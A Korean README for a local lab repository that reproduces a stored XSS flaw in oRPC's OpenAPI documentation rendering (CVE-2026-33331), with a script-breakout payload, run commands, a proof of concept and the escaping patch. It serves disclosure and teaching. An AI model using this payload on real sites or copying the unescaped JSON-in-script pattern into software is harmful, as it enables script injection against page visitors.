
로컬 랩에서 oRPC의 OpenAPI 문서 생성 시 저장형 XSS를 재현합니다(CVE-2026-33331). 취약 버전과 패치 버전을 비교용으로 포함하며, 독립 실행형 PoC도 제공합니다.
이 저장소는 버그를 재현할 수 있는 로컬 실습 환경과 비교용 패치 버전을 제공합니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-33331 |
| GHSA | GHSA-7f6v-3gx7-27q8 |
| CWE | CWE-79 (웹 페이지 생성 중 입력값의 부적절한 중화) |
| 제품 | middleapi/orpc |
| 영향 범위 | v1.13.9 미만의 모든 버전 |
| 패치 버전 | v1.13.9 |
| 발견자 | Abhay Kumar (@abhayclasher) |
packages/openapi/src/plugins/openapi-reference.ts의 취약한 코드는 스펙을 다음과 같이 렌더링합니다:
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>
JSON.stringify()는 유효한 JSON을 생성하지만 < 또는 >를 이스케이프하지 않습니다. 브라우저는 <script type="application/json"> 내부에서도 </script>를 여전히 HTML 종료 태그로 처리합니다.
실행을 유발하는 info.description의 페이로드:
"</script><script>alert('XSS')</script>"
브라우저는 다음과 같이 인식합니다:
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>
첫 번째 </script>가 블록을 닫습니다. 그 이후의 모든 내용은 인라인 JavaScript로 실행됩니다.
이는 애플리케이션이 사용자 제어 입력값으로 OpenAPI 스펙을 생성할 때 적용되며, 이는 oRPC가 라우터 정의를 통해 지원하는 정확한 사례입니다.
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d
서버가 시작된 후 다음 URL을 방문하세요:
| URL | 설명 |
|---|---|
http://localhost:3000/docs | 취약한 문서 페이지 — 로드 시 XSS 페이로드 실행 |
http://localhost:3000/docs/safe | v1.13.9 패치가 적용된 동일 페이지 |
http://localhost:3000/spec.json | 원본 OpenAPI 스펙 JSON |
취약한 버전은 페이지 로드 시 alert()을 실행하여 스크립트 실행을 확인합니다. 패치된 버전은 동일한 악성 스펙을 안전하게 렌더링합니다 — 페이로드가 일반 텍스트로 표시됩니다.
독립형 PoC도 실행할 수 있습니다:
cd poc
node exploit.js
이 명령은 포트 3000에서 전체 애플리케이션 컨텍스트 없이 동일한 버그를 시연하는 최소 서버를 실행합니다.
1. 공격자가 OpenAPI 스펙의 필드(예: description)를 제어
2. oRPC가 JSON.stringify(spec)로 문서 HTML 생성
3. 페이로드의 </script>가 <script> 태그를 조기에 닫음
4. 브라우저가 이후 내용을 인라인 JavaScript로 실행
┌─────────────────────────────────────────────────────┐
│ 1. 악성 스펙 생성: │
│ │
│ info.description = │
│ "</script><script>alert('XSS')</script>" │
│ │
│ 2. orpc가 스펙을 HTML에 삽입: │
│ │
│ <script id="spec" type="application/json"> │
│ {"info":{"description":"</script> <-- 태그 │
│ <script>alert('XSS')</script> <-- 페이로드 │
│ "}} │
│ </script> │
│ │
│ 3. 브라우저가 alert('XSS') 실행 │
└─────────────────────────────────────────────────────┘
버전 1.13.9는 JSON을 스크립트 태그에 삽입하기 전에 HTML에 민감한 문자를 유니코드 이스케이프로 대체하는 escapeJsonForHtml()을 도입했습니다:
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
.replace(/&/g, '\\u0026')
.replace(/'/g, '\\u0027')
.replace(/</g, '\\u003C')
.replace(/>/g, '\\u003E')
.replace(/\//g, '\\u002F');
유니코드 이스케이프는 유효한 JSON으로 유지되기 때문에 작동합니다 — JSON.parse()가 원래 문자열을 재구성합니다 — 하지만 브라우저 파서에는 HTML처럼 보이지 않습니다.
패치는 또한 DOM dataset.config 속성에서 JSON을 읽는 방식(값에 괄호가 포함된 경우 깨지는 문제)에서 이스케이프된 JSON을 인라인 변수에 직접 할당하는 방식으로 변경되었습니다.
전체 커밋 보기: 4f0efa8
CVE-2026-33331/
├── README.md # 이 파일
├── docker-compose.yml # Docker 실습 환경 구성
├── app/
│ ├── Dockerfile # 컨테이너 빌드 구성
│ ├── package.json # Node.js 의존성
│ └── server.js # 취약 + 패치된 문서 렌더러
└── poc/
└── exploit.js # 독립형 최소 개념 증명
Abhay Kumar이(가) 보고했습니다. 이 저장소는 로컬 교육용으로만 사용하도록 제작되었습니다. 취약한 서버를 공용 네트워크에 배포하지 마십시오.
교육 목적으로만 사용 — 격리된 환경에서 사용하세요